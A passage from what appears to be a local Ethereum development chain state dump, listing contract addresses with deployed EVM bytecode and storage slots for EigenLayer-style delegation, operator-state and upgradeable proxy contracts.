81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c3565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e0565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610335565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead8160008151811061020457610204610405565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b602080825282518282018190526000918401906040840190835b818110156102b85783516001600160a01b0316835260209384019390920191600101610291565b509095945050505050565b6000602082840312156102d557600080fd5b813561013381610226565b6000825160005b8181101561030157602081860181015185830152016102e7565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033081610226565b919050565b60006020828403121561034757600080fd5b815167ffffffffffffffff81111561035e57600080fd5b8201601f8101841361036f57600080fd5b805167ffffffffffffffff8111156103895761038961030f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156103b6576103b661030f565b6040529182526020818401810192908101878411156103d457600080fd5b6020850194505b838510156103fa576103ec85610325565b8152602094850194016103db565b509695505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e23deb2b8d0d229423ee6a26c4dd614627e96750b4bea5dc46930bcb32890c6664736f6c634300081c0033","storage":{}},"0xb7278a61aa25c888815afc32ad3cc52ff24fe575":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100625760003560e01c806331b36bd9146100675780633563b0d1146100905780634d2b57fe146100b05780634f739f74146100d05780635c155662146100f0578063cefdc1d414610110575b600080fd5b61007a6100753660046113b8565b610131565b60405161008791906114ac565b60405180910390f35b6100a361009e3660046114e8565b610245565b6040516100879190611653565b6100c36100be3660046116c4565b6106c5565b6040516100879190611713565b6100e36100de3660046117aa565b6107d2565b60405161008791906118ab565b6101036100fe366004611963565b610eea565b60405161008791906119c6565b61012361011e3660046119fe565b6110a8565b604051610087929190611a35565b606081516001600160401b0381111561014c5761014c61134f565b604051908082528060200260200182016040528015610175578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b03166313542a4e8483815181106101a5576101a5611a56565b60200260200101516040518263ffffffff1660e01b81526004016101d891906001600160a01b0391909116815260200190565b602060405180830381865afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190611a6c565b82828151811061022b5761022b611a56565b602090810291909101015260010161017b565b5092915050565b60606000846001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015610287573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ab9190611a85565b90506000856001600160a01b0316639e9923c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103119190611a85565b90506000866001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103779190611a85565b9050600086516001600160401b038111156103945761039461134f565b6040519080825280602002602001820160405280156103c757816020015b60608152602001906001900390816103b25790505b50905060005b87518110156106b95760008882815181106103ea576103ea611a56565b0160200151604051638902624560e01b815260f89190911c6004820181905263ffffffff8a16602483015291506000906001600160a01b03871690638902624590604401600060405180830381865afa15801561044b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104739190810190611aa2565b905080516001600160401b0381111561048e5761048e61134f565b6040519080825280602002602001820160405280156104d957816020015b60408051606081018252600080825260208083018290529282015282526000199092019101816104ac5790505b508484815181106104ec576104ec611a56565b602002602001018190525060005b81518110156106ae576040518060600160405280876001600160a01b03166347b314e885858151811061052f5761052f611a56565b60200260200101516040518263ffffffff1660e01b815260040161055591815260200190565b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105969190611a85565b6001600160a01b031681526020018383815181106105b6576105b6611a56565b60200260200101518152602001896001600160a01b031663fa28c6278585815181106105e4576105e4611a56565b60209081029190910101516040516001600160e01b031960e084901b168152600481019190915260ff8816602482015263ffffffff8f166044820152606401602060405180830381865afa158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190611b37565b6001600160601b031681525085858151811061068257610682611a56565b6020026020010151828151811061069b5761069b611a56565b60209081029190910101526001016104fa565b5050506001016103cd565b50979650505050505050565b606081516001600160401b038111156106e0576106e061134f565b604051908082528060200260200182016040528015610709578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b031663296bb06484838151811061073957610739611a56565b60200260200101516040518263ffffffff1660e01b815260040161075f91815260200190565b602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611a85565b8282815181106107b2576107b2611a56565b6001600160a01b039092166020928302919091019091015260010161070f565b6107fd6040518060800160405280606081526020016060815260200160608152602001606081525090565b6000876001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611a85565b905061088e6040518060800160405280606081526020016060815260200160608152602001606081525090565b6040516361c8a12f60e11b81526001600160a01b038a169063c391425e906108be908b9089908990600401611b60565b600060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109039190810190611ba7565b81526040516340e03a8160e11b81526001600160a01b038316906381c0750290610935908b908b908b90600401611c64565b600060405180830381865afa158015610952573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097a9190810190611ba7565b6040820152856001600160401b038111156109975761099761134f565b6040519080825280602002602001820160405280156109ca57816020015b60608152602001906001900390816109b55790505b50606082015260005b60ff8116871115610dfb576000856001600160401b038111156109f8576109f861134f565b604051908082528060200260200182016040528015610a21578160200160208202803683370190505b5083606001518360ff1681518110610a3b57610a3b611a56565b602002602001018190525060005b86811015610d055760008c6001600160a01b03166304ec63518a8a85818110610a7457610a74611a56565b905060200201358e88600001518681518110610a9257610a92611a56565b60200260200101516040518463ffffffff1660e01b8152600401610acf9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611c8d565b9050806001600160c01b0316600003610bbb5760405162461bcd60e51b815260206004820152605c60248201527f4f70657261746f7253746174655265747269657665722e676574436865636b5360448201527f69676e617475726573496e64696365733a206f70657261746f72206d7573742060648201527f6265207265676973746572656420617420626c6f636b6e756d62657200000000608482015260a40160405180910390fd5b8a8a8560ff16818110610bd057610bd0611a56565b60016001600160c01b038516919093013560f81c1c82169091039050610cfc57856001600160a01b031663dd9846b98a8a85818110610c1157610c11611a56565b905060200201358d8d8860ff16818110610c2d57610c2d611a56565b6040516001600160e01b031960e087901b1681526004810194909452919091013560f81c60248301525063ffffffff8f166044820152606401602060405180830381865afa158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca79190611cb6565b85606001518560ff1681518110610cc057610cc0611a56565b60200260200101518481518110610cd957610cd9611a56565b63ffffffff9092166020928302919091019091015282610cf881611ce9565b9350505b50600101610a49565b506000816001600160401b03811115610d2057610d2061134f565b604051908082528060200260200182016040528015610d49578160200160208202803683370190505b50905060005b82811015610dc05784606001518460ff1681518110610d7057610d70611a56565b60200260200101518181518110610d8957610d89611a56565b6020026020010151828281518110610da357610da3611a56565b63ffffffff90921660209283029190910190910152600101610d4f565b508084606001518460ff1681518110610ddb57610ddb611a56565b602002602001018190525050508080610df390611d02565b9150506109d3565b506000896001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e609190611a85565b60405163354952a360e21b81529091506001600160a01b0382169063d5254a8c90610e93908b908b908e90600401611d21565b600060405180830381865afa158015610eb0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ed89190810190611ba7565b60208301525098975050505050505050565b60606000846001600160a01b031663c391425e84866040518363ffffffff1660e01b8152600401610f1c929190611d4b565b600060405180830381865afa158015610f39573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f619190810190611ba7565b9050600084516001600160401b03811115610f7e57610f7e61134f565b604051908082528060200260200182016040528015610fa7578160200160208202803683370190505b50905060005b855181101561109e57866001600160a01b03166304ec6351878381518110610fd757610fd7611a56565b602002602001015187868581518110610ff257610ff2611a56565b60200260200101516040518463ffffffff1660e01b815260040161102f9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190611c8d565b6001600160c01b031682828151811061108b5761108b611a56565b6020908102919091010152600101610fad565b5095945050505050565b60408051600180825281830190925260009160609183916020808301908036833701905050905084816000815181106110e3576110e3611a56565b60209081029190910101526040516361c8a12f60e11b81526000906001600160a01b0388169063c391425e9061111f9088908690600401611d4b565b600060405180830381865afa15801561113c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111649190810190611ba7565b60008151811061117657611176611a56565b60209081029190910101516040516304ec635160e01b81526004810188905263ffffffff87811660248301529091166044820181905291506000906001600160a01b038916906304ec635190606401602060405180830381865afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190611c8d565b6001600160c01b03169050600061121c8261123a565b90508161122a8a838a610245565b9550955050505050935093915050565b606060008061124884611306565b61ffff166001600160401b038111156112635761126361134f565b6040519080825280601f01601f19166020018201604052801561128d576020820181803683370190505b5090506000805b8251821080156112a5575061010081105b156112fc576001811b9350858416156112ec578060f81b8383815181106112ce576112ce611a56565b60200101906001600160f81b031916908160001a9053508160010191505b6112f581611ce9565b9050611294565b5090949350505050565b6000805b82156113315761131b600184611d6a565b909216918061132981611d7d565b91505061130a565b92915050565b6001600160a01b038116811461134c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561138d5761138d61134f565b604052919050565b60006001600160401b038211156113ae576113ae61134f565b5060051b60200190565b600080604083850312156113cb57600080fd5b82356113d681611337565b915060208301356001600160401b038111156113f157600080fd5b8301601f8101851361140257600080fd5b803561141561141082611395565b611365565b8082825260208201915060208360051b85010192508783111561143757600080fd5b6020840193505b8284101561146257833561145181611337565b82526020938401939091019061143e565b809450505050509250929050565b600081518084526020840193506020830160005b828110156114a2578151865260209586019590910190600101611484565b5093949350505050565b6020815260006114bf6020830184611470565b9392505050565b63ffffffff8116811461134c57600080fd5b80356114e3816114c6565b919050565b6000806000606084860312156114fd57600080fd5b833561150881611337565b925060208401356001600160401b0381111561152357600080fd5b8401601f8101861361153457600080fd5b80356001600160401b0381111561154d5761154d61134f565b611560601f8201601f1916602001611365565b81815287602083850101111561157557600080fd5b8160208401602083013760006020838301015280945050505061159a604085016114d8565b90509250925092565b600082825180855260208501945060208160051b8301016020850160005b8381101561164757848303601f190188528151805180855260209182019185019060005b8181101561162e57835180516001600160a01b03168452602080820151818601526040918201516001600160601b031691850191909152909301926060909201916001016115e5565b50506020998a01999094509290920191506001016115c1565b50909695505050505050565b6020815260006114bf60208301846115a3565b600082601f83011261167757600080fd5b813561168561141082611395565b8082825260208201915060208360051b8601019250858311156116a757600080fd5b602085015b8381101561109e5780358352602092830192016116ac565b600080604083850312156116d757600080fd5b82356116e281611337565b915060208301356001600160401b038111156116fd57600080fd5b61170985828601611666565b9150509250929050565b602080825282518282018190526000918401906040840190835b818110156117545783516001600160a01b031683526020938401939092019160010161172d565b509095945050505050565b60008083601f84011261177157600080fd5b5081356001600160401b0381111561178857600080fd5b6020830191508360208260051b85010111156117a357600080fd5b9250929050565b600080600080600080608087890312156117c357600080fd5b86356117ce81611337565b955060208701356117de816114c6565b945060408701356001600160401b038111156117f957600080fd5b8701601f8101891361180a57600080fd5b80356001600160401b0381111561182057600080fd5b89602082840101111561183257600080fd5b6020919091019450925060608701356001600160401b0381111561185557600080fd5b61186189828a0161175f565b979a9699509497509295939492505050565b600081518084526020840193506020830160005b828110156114a257815163ffffffff16865260209586019590910190600101611887565b6020815260008251608060208401526118c760a0840182611873565b90506020840151601f198483030160408501526118e48282611873565b9150506040840151601f198483030160608501526119028282611873565b6060860151858203601f190160808701528051808352919350602090810192508084019190600582901b85010160005b828110156106b957601f1986830301845261194e828651611873565b60209586019594909401939150600101611932565b60008060006060848603121561197857600080fd5b833561198381611337565b925060208401356001600160401b0381111561199e57600080fd5b6119aa86828701611666565b92505060408401356119bb816114c6565b809150509250925092565b602080825282518282018190526000918401906040840190835b818110156117545783518352602093840193909201916001016119e0565b600080600060608486031215611a1357600080fd5b8335611a1e81611337565b92506020840135915060408401356119bb816114c6565b828152604060208201526000611a4e60408301846115a3565b949350505050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a7e57600080fd5b5051919050565b600060208284031215611a9757600080fd5b81516114bf81611337565b600060208284031215611ab457600080fd5b81516001600160401b03811115611aca57600080fd5b8201601f81018413611adb57600080fd5b8051611ae961141082611395565b8082825260208201915060208360051b850101925086831115611b0b57600080fd5b6020840193505b82841015611b2d578351825260209384019390910190611b12565b9695505050505050565b600060208284031215611b4957600080fd5b81516001600160601b03811681146114bf57600080fd5b63ffffffff84168152604060208201819052810182905260006001600160fb1b03831115611b8d57600080fd5b8260051b8085606085013791909101606001949350505050565b600060208284031215611bb957600080fd5b81516001600160401b03811115611bcf57600080fd5b8201601f81018413611be057600080fd5b8051611bee61141082611395565b8082825260208201915060208360051b850101925086831115611c1057600080fd5b6020840193505b82841015611b2d578351611c2a816114c6565b825260209384019390910190611c17565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b63ffffffff84168152604060208201526000611c84604083018486611c3b565b95945050505050565b600060208284031215611c9f57600080fd5b81516001600160c01b03811681146114bf57600080fd5b600060208284031215611cc857600080fd5b81516114bf816114c6565b634e487b7160e01b600052601160045260246000fd5b600060018201611cfb57611cfb611cd3565b5060010190565b600060ff821660ff8103611d1857611d18611cd3565b60010192915050565b604081526000611d35604083018587611c3b565b905063ffffffff83166020830152949350505050565b63ffffffff83168152604060208201526000611a4e6040830184611470565b8181038181111561133157611331611cd3565b600061ffff821661ffff8103611d1857611d18611cd356fea26469706673582212203ceaa31e26ee89f9b04510d27276b123d7e9898815c3676df946ec33eef62bb664736f6c634300081c0033","storage":{}},"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000001":"0x000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788"}},"0xc5a5c42992decbae36851359345fe25997f5c42d":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120001","0x0000000000000000000000000000000000000000000000000000000000000001":"0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000032":"0x00000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef","0x0000000000000000000000000000000000000000000000000000000000000064":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000","0x0000000000000000000000000000000000000000000000000000000000000065":"0x00000000000000000000000000000000000000000000003635c9adc5dea00000","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361